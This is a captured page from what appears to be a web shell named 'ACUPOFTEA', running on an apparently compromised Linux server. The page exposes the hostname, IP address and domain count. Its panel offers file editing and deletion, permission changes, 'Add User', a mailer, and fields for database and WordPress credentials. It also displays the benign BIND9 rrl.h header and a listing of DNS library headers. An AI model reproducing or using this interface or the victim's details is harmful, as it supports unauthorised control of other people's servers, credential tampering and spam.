System
:
Linux server1.ontime-gulf.com 4.18.0-553.5.1.el8_10.x86_64 #1 SMP Wed Jun 5 09:12:13 EDT 2024 x86_64
Software
:
Apache
Server
:
162.0.230.206
Domains
:
40 Domain
Permission
:
[
drwxr-xr-x
]
:
/
usr
/
include
/
bind9
/
dns
/
216.73.216.49
Select
Submit
Home
Add User
Mailer
About
DBName
DBUser
DBPass
DBHost
WpUser
WpPass
Input e-mail
ACUPOFTEA for mail.ontime-ae.com made by tabagkayu.
Folder Name
File Name
File Content
File
rrl.h
/* * Copyright (C) Internet Systems Consortium, Inc. ("ISC") * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, you can obtain one at https://mozilla.org/MPL/2.0/. * * See the COPYRIGHT file distributed with this work for additional * information regarding copyright ownership. */ #ifndef DNS_RRL_H #define DNS_RRL_H 1 /* * Rate limit DNS responses. */ #include <inttypes.h> #include <stdbool.h> #include <isc/lang.h> #include <dns/fixedname.h> #include <dns/rdata.h> #include <dns/types.h> ISC_LANG_BEGINDECLS /* * Memory allocation or other failures. */ #define DNS_RRL_LOG_FAIL ISC_LOG_WARNING /* * dropped or slipped responses. */ #define DNS_RRL_LOG_DROP ISC_LOG_INFO /* * Major events in dropping or slipping. */ #define DNS_RRL_LOG_DEBUG1 ISC_LOG_DEBUG(3) /* * Limit computations. */ #define DNS_RRL_LOG_DEBUG2 ISC_LOG_DEBUG(4) /* * Even less interesting. */ #define DNS_RRL_LOG_DEBUG3 ISC_LOG_DEBUG(9) #define DNS_RRL_LOG_ERR_LEN 64 #define DNS_RRL_LOG_BUF_LEN (sizeof("would continue limiting") + \ DNS_RRL_LOG_ERR_LEN + \ sizeof(" responses to ") + \ ISC_NETADDR_FORMATSIZE + \ sizeof("/128 for IN ") + \ DNS_RDATATYPE_FORMATSIZE + \ DNS_NAME_FORMATSIZE) typedef struct dns_rrl_hash dns_rrl_hash_t; /* * Response types. */ typedef enum { DNS_RRL_RTYPE_FREE = 0, DNS_RRL_RTYPE_QUERY, DNS_RRL_RTYPE_REFERRAL, DNS_RRL_RTYPE_NODATA, DNS_RRL_RTYPE_NXDOMAIN, DNS_RRL_RTYPE_ERROR, DNS_RRL_RTYPE_ALL, DNS_RRL_RTYPE_TCP, } dns_rrl_rtype_t; /* * A rate limit bucket key. * This should be small to limit the total size of the database. * The hash of the qname should be wide enough to make the probability * of collisions among requests from a single IP address block less than 50%. * We need a 32-bit hash value for 10000 qps (e.g. random qnames forged * by attacker) to collide with legitimate qnames from the target with * probability at most 1%. */ #define DNS_RRL_MAX_PREFIX 64 typedef union dns_rrl_key dns_rrl_key_t; struct dns__rrl_key { uint32_t ip[DNS_RRL_MAX_PREFIX/32]; uint32_t qname_hash; dns_rdatatype_t qtype; uint8_t qclass; unsigned int rtype :4; /* dns_rrl_rtype_t */ unsigned int ipv6 :1; }; union dns_rrl_key { struct dns__rrl_key s; uint16_t w[sizeof(struct dns__rrl_key)/sizeof(uint16_t)]; }; /* * A rate-limit entry. * This should be small to limit the total size of the table of entries. */ typedef struct dns_rrl_entry dns_rrl_entry_t; typedef ISC_LIST(dns_rrl_entry_t) dns_rrl_bin_t; struct dns_rrl_entry { ISC_LINK(dns_rrl_entry_t) lru; ISC_LINK(dns_rrl_entry_t) hlink; dns_rrl_key_t key; # define DNS_RRL_RESPONSE_BITS 24 signed int responses :DNS_RRL_RESPONSE_BITS; # define DNS_RRL_QNAMES_BITS 8 unsigned int log_qname :DNS_RRL_QNAMES_BITS; # define DNS_RRL_TS_GEN_BITS 2 unsigned int ts_gen :DNS_RRL_TS_GEN_BITS; unsigned int ts_valid :1; # define DNS_RRL_HASH_GEN_BITS 1 unsigned int hash_gen :DNS_RRL_HASH_GEN_BITS; unsigned int logged :1; # define DNS_RRL_LOG_BITS 11 unsigned int log_secs :DNS_RRL_LOG_BITS; # define DNS_RRL_TS_BITS 12 unsigned int ts :DNS_RRL_TS_BITS; # define DNS_RRL_MAX_SLIP 10 unsigned int slip_cnt :4; }; #define DNS_RRL_MAX_TIME_TRAVEL 5 #define DNS_RRL_FOREVER (1<<DNS_RRL_TS_BITS) #define DNS_RRL_MAX_TS (DNS_RRL_FOREVER - 1) #define DNS_RRL_MAX_RESPONSES ((1<<(DNS_RRL_RESPONSE_BITS-1))-1) #define DNS_RRL_MAX_WINDOW 3600 #if DNS_RRL_MAX_WINDOW >= DNS_RRL_MAX_TS #error "DNS_RRL_MAX_WINDOW is too large" #endif #define DNS_RRL_MAX_RATE 1000 #if DNS_RRL_MAX_RATE >= (DNS_RRL_MAX_RESPONSES / DNS_RRL_MAX_WINDOW) #error "DNS_RRL_MAX_rate is too large" #endif #if (1<<DNS_RRL_LOG_BITS) >= DNS_RRL_FOREVER #error DNS_RRL_LOG_BITS is too big #endif #define DNS_RRL_MAX_LOG_SECS 1800 #if DNS_RRL_MAX_LOG_SECS >= (1<<DNS_RRL_LOG_BITS) #error "DNS_RRL_MAX_LOG_SECS is too large" #endif #define DNS_RRL_STOP_LOG_SECS 60 #if DNS_RRL_STOP_LOG_SECS >= (1<<DNS_RRL_LOG_BITS) #error "DNS_RRL_STOP_LOG_SECS is too large" #endif /* * A hash table of rate-limit entries. */ struct dns_rrl_hash { isc_stdtime_t check_time; unsigned int gen :DNS_RRL_HASH_GEN_BITS; int length; dns_rrl_bin_t bins[1]; }; /* * A block of rate-limit entries. */ typedef struct dns_rrl_block dns_rrl_block_t; struct dns_rrl_block { ISC_LINK(dns_rrl_block_t) link; int size; dns_rrl_entry_t entries[1]; }; /* * A rate limited qname buffer. */ typedef struct dns_rrl_qname_buf dns_rrl_qname_buf_t; struct dns_rrl_qname_buf { ISC_LINK(dns_rrl_qname_buf_t) link; const dns_rrl_entry_t *e; unsigned int index; dns_fixedname_t qname; }; typedef struct dns_rrl_rate dns_rrl_rate_t; struct dns_rrl_rate { int r; int scaled; const char *str; }; /* * Per-view query rate limit parameters and a pointer to database. */ typedef struct dns_rrl dns_rrl_t; struct dns_rrl { isc_mutex_t lock; isc_mem_t *mctx; bool log_only; dns_rrl_rate_t responses_per_second; dns_rrl_rate_t referrals_per_second; dns_rrl_rate_t nodata_per_second; dns_rrl_rate_t nxdomains_per_second; dns_rrl_rate_t errors_per_second; dns_rrl_rate_t all_per_second; dns_rrl_rate_t slip; int window; double qps_scale; int max_entries; dns_acl_t *exempt; int num_entries; int qps_responses; isc_stdtime_t qps_time; double qps; unsigned int probes; unsigned int searches; ISC_LIST(dns_rrl_block_t) blocks; ISC_LIST(dns_rrl_entry_t) lru; dns_rrl_hash_t *hash; dns_rrl_hash_t *old_hash; unsigned int hash_gen; unsigned int ts_gen; # define DNS_RRL_TS_BASES (1<<DNS_RRL_TS_GEN_BITS) isc_stdtime_t ts_bases[DNS_RRL_TS_BASES]; int ipv4_prefixlen; uint32_t ipv4_mask; int ipv6_prefixlen; uint32_t ipv6_mask[4]; isc_stdtime_t log_stops_time; dns_rrl_entry_t *last_logged; int num_logged; int num_qnames; ISC_LIST(dns_rrl_qname_buf_t) qname_free; # define DNS_RRL_QNAMES (1<<DNS_RRL_QNAMES_BITS) dns_rrl_qname_buf_t *qnames[DNS_RRL_QNAMES]; }; typedef enum { DNS_RRL_RESULT_OK, DNS_RRL_RESULT_DROP, DNS_RRL_RESULT_SLIP, } dns_rrl_result_t; dns_rrl_result_t dns_rrl(dns_view_t *view, const isc_sockaddr_t *client_addr, bool is_tcp, dns_rdataclass_t rdclass, dns_rdatatype_t qtype, dns_name_t *qname, isc_result_t resp_result, isc_stdtime_t now, bool wouldlog, char *log_buf, unsigned int log_buf_len); void dns_rrl_view_destroy(dns_view_t *view); isc_result_t dns_rrl_init(dns_rrl_t **rrlp, dns_view_t *view, int min_entries); ISC_LANG_ENDDECLS #endif /* DNS_RRL_H */
New name for
Are you sure will delete
?
New date for
New perm for
Name
Type
Size
Permission
Last Modified
Actions
.
DIR
-
drwxr-xr-x
2025-02-21 10:57:15
..
DIR
-
drwxr-xr-x
2025-02-21 10:57:16
acache.h
text/x-c
13.9 KB
-rw-r--r--
2025-02-20 09:05:25
acl.h
text/x-c
7.07 KB
-rw-r--r--
2025-02-20 09:05:25
adb.h
text/x-c
22.07 KB
-rw-r--r--
2025-02-20 09:05:25
badcache.h
text/x-c
3.29 KB
-rw-r--r--
2025-02-20 09:05:25
bit.h
text/x-c
807 B
-rw-r--r--
2025-02-20 09:05:25
byaddr.h
text/x-c
3.91 KB
-rw-r--r--
2025-02-20 09:05:25
cache.h
text/x-c
8.44 KB
-rw-r--r--
2025-02-20 09:05:25
callbacks.h
text/x-c
2.22 KB
-rw-r--r--
2025-02-20 09:05:25
catz.h
text/x-c
11.56 KB
-rw-r--r--
2025-02-20 09:05:25
cert.h
text/x-c
1.43 KB
-rw-r--r--
2025-02-20 09:05:25
client.h
text/x-c
21.53 KB
-rw-r--r--
2025-02-20 09:05:25
clientinfo.h
text/x-c
1.96 KB
-rw-r--r--
2025-02-20 09:05:25
compress.h
text/x-c
6.49 KB
-rw-r--r--
2025-02-20 09:05:25
db.h
text/x-c
45.48 KB
-rw-r--r--
2025-02-20 09:05:25
dbiterator.h
text/x-c
7.25 KB
-rw-r--r--
2025-02-20 09:05:25
dbtable.h
text/x-c
3.09 KB
-rw-r--r--
2025-02-20 09:05:25
diff.h
text/x-c
6.82 KB
-rw-r--r--
2025-02-20 09:05:25
dispatch.h
text/x-c
16.04 KB
-rw-r--r--
2025-02-20 09:05:25
dlz.h
text/x-c
10.37 KB
-rw-r--r--
2025-02-20 09:05:25
dlz_dlopen.h
text/x-c
4.57 KB
-rw-r--r--
2025-02-20 09:05:25
dns64.h
text/x-c
5.5 KB
-rw-r--r--
2025-02-20 09:05:25
dnssec.h
text/x-c
11.83 KB
-rw-r--r--
2025-02-20 09:05:25
dnstap.h
text/x-c
9.14 KB
-rw-r--r--
2025-02-20 09:05:25
ds.h
text/x-c
1.2 KB
-rw-r--r--
2025-02-20 09:05:25
dsdigest.h
text/x-c
1.68 KB
-rw-r--r--
2025-02-20 09:05:25
dyndb.h
text/x-c
4.72 KB
-rw-r--r--
2025-02-20 09:05:25
ecdb.h
text/x-c
809 B
-rw-r--r--
2025-02-20 09:05:25
edns.h
text/plain
722 B
-rw-r--r--
2025-02-20 09:05:25
enumclass.h
text/plain
1.19 KB
-rw-r--r--
2025-02-20 09:05:25
enumtype.h
text/plain
8.11 KB
-rw-r--r--
2025-02-20 09:05:25
events.h
text/x-c
3.96 KB
-rw-r--r--
2025-02-20 09:05:25
fixedname.h
text/x-c
1.62 KB
-rw-r--r--
2025-02-20 09:05:25
forward.h
text/x-c
3.37 KB
-rw-r--r--
2025-02-20 09:05:25
geoip.h
text/x-c
2.73 KB
-rw-r--r--
2025-02-20 09:05:25
ipkeylist.h
text/x-c
2.13 KB
-rw-r--r--
2025-02-20 09:05:25
iptable.h
text/x-c
1.58 KB
-rw-r--r--
2025-02-20 09:05:25
journal.h
text/x-c
8.03 KB
-rw-r--r--
2025-02-20 09:05:25
keydata.h
text/x-c
1.03 KB
-rw-r--r--
2025-02-20 09:05:25
keyflags.h
text/x-c
1.25 KB
-rw-r--r--
2025-02-20 09:05:25
keytable.h
text/x-c
9.24 KB
-rw-r--r--
2025-02-20 09:05:25
keyvalues.h
text/plain
4.06 KB
-rw-r--r--
2025-02-20 09:05:25
lib.h
text/x-c
1.16 KB
-rw-r--r--
2025-02-20 09:05:25
log.h
text/x-c
3.87 KB
-rw-r--r--
2025-02-20 09:05:25
lookup.h
text/x-c
2.86 KB
-rw-r--r--
2025-02-20 09:05:25
master.h
text/x-c
11.02 KB
-rw-r--r--
2025-02-20 09:05:25
masterdump.h
text/x-c
12.35 KB
-rw-r--r--
2025-02-20 09:05:25
message.h
text/x-c
37.92 KB
-rw-r--r--
2025-02-20 09:05:25
name.h
text/x-c
36.25 KB
-rw-r--r--
2025-02-20 09:05:25
ncache.h
text/x-c
4.81 KB
-rw-r--r--
2025-02-20 09:05:25
nsec.h
text/x-c
2.86 KB
-rw-r--r--
2025-02-20 09:05:25
nsec3.h
text/x-c
7.84 KB
-rw-r--r--
2025-02-20 09:05:25
nta.h
text/x-c
4.44 KB
-rw-r--r--
2025-02-20 09:05:25
opcode.h
text/x-c
1007 B
-rw-r--r--
2025-02-20 09:05:25
order.h
text/x-c
1.95 KB
-rw-r--r--
2025-02-20 09:05:25
peer.h
text/x-c
5.83 KB
-rw-r--r--
2025-02-20 09:05:25
portlist.h
text/x-c
2.05 KB
-rw-r--r--
2025-02-20 09:05:25
private.h
text/x-c
1.89 KB
-rw-r--r--
2025-02-20 09:05:25
rbt.h
text/x-c
39.67 KB
-rw-r--r--
2025-02-20 09:05:25
rcode.h
text/x-c
2.42 KB
-rw-r--r--
2025-02-20 09:05:25
rdata.h
text/x-c
21.11 KB
-rw-r--r--
2025-02-20 09:05:25
rdataclass.h
text/x-c
2.2 KB
-rw-r--r--
2025-02-20 09:05:25
rdatalist.h
text/x-c
2.51 KB
-rw-r--r--
2025-02-20 09:05:25
rdataset.h
text/x-c
21.03 KB
-rw-r--r--
2025-02-20 09:05:25
rdatasetiter.h
text/x-c
3.83 KB
-rw-r--r--
2025-02-20 09:05:25
rdataslab.h
text/x-c
4.28 KB
-rw-r--r--
2025-02-20 09:05:25
rdatastruct.h
text/x-c
60.14 KB
-rw-r--r--
2025-02-20 09:05:25
rdatatype.h
text/x-c
2.24 KB
-rw-r--r--
2025-02-20 09:05:25
request.h
text/x-c
10.89 KB
-rw-r--r--
2025-02-20 09:05:25
resolver.h
text/x-c
19.75 KB
-rw-r--r--
2025-02-20 09:05:25
result.h
text/x-c
9.07 KB
-rw-r--r--
2025-02-20 09:05:25
rootns.h
text/x-c
892 B
-rw-r--r--
2025-02-20 09:05:25
rpz.h
text/x-c
10.09 KB
-rw-r--r--
2025-02-20 09:05:25
rriterator.h
text/x-c
4.13 KB
-rw-r--r--
2025-02-20 09:05:25
rrl.h
text/x-c
6.48 KB
-rw-r--r--
2025-02-20 09:05:25
sdb.h
text/x-c
7.05 KB
-rw-r--r--
2025-02-20 09:05:25
sdlz.h
text/x-c
13.88 KB
-rw-r--r--
2025-02-20 09:05:25
secalg.h
text/x-c
1.67 KB
-rw-r--r--
2025-02-20 09:05:25
secproto.h
text/x-c
1.52 KB
-rw-r--r--
2025-02-20 09:05:25
soa.h
text/x-c
2.13 KB
-rw-r--r--
2025-02-20 09:05:25
ssu.h
text/x-c
8.11 KB
-rw-r--r--
2025-02-20 09:05:25
stats.h
text/x-c
13.14 KB
-rw-r--r--
2025-02-20 09:05:25
tcpmsg.h
text/x-c
3.07 KB
-rw-r--r--
2025-02-20 09:05:25
time.h
text/x-c
1.66 KB
-rw-r--r--
2025-02-20 09:05:25
timer.h
text/x-c
1.03 KB
-rw-r--r--
2025-02-20 09:05:25
tkey.h
text/x-c
7.45 KB
-rw-r--r--
2025-02-20 09:05:25
tsec.h
text/x-c
2.88 KB
-rw-r--r--
2025-02-20 09:05:25
tsig.h
text/x-c
8.19 KB
-rw-r--r--
2025-02-20 09:05:25
ttl.h
text/x-c
1.9 KB
-rw-r--r--
2025-02-20 09:05:25
types.h
text/x-c
13.83 KB
-rw-r--r--
2025-02-20 09:05:25
update.h
text/x-c
1.61 KB
-rw-r--r--
2025-02-20 09:05:25
validator.h
text/x-c
6.99 KB
-rw-r--r--
2025-02-20 09:05:25
version.h
text/x-c
868 B
-rw-r--r--
2025-02-20 09:05:25
view.h
text/x-c
34.45 KB
-rw-r--r--
2025-02-20 09:05:25
xfrin.h
text/x-c
2.86 KB
-rw-r--r--
2025-02-20 09:05:25
zone.h
text/x-c
59.44 KB
-rw-r--r--
2025-02-20 09:05:25
zonekey.h
text/x-c
777 B
-rw-r--r--
2025-02-20 09:05:25
zt.h
text/x-c
5.43 KB
-rw-r--r--
2025-02-20 09:05:25
~ ACUPOFTEA - mail.ontime-ae.com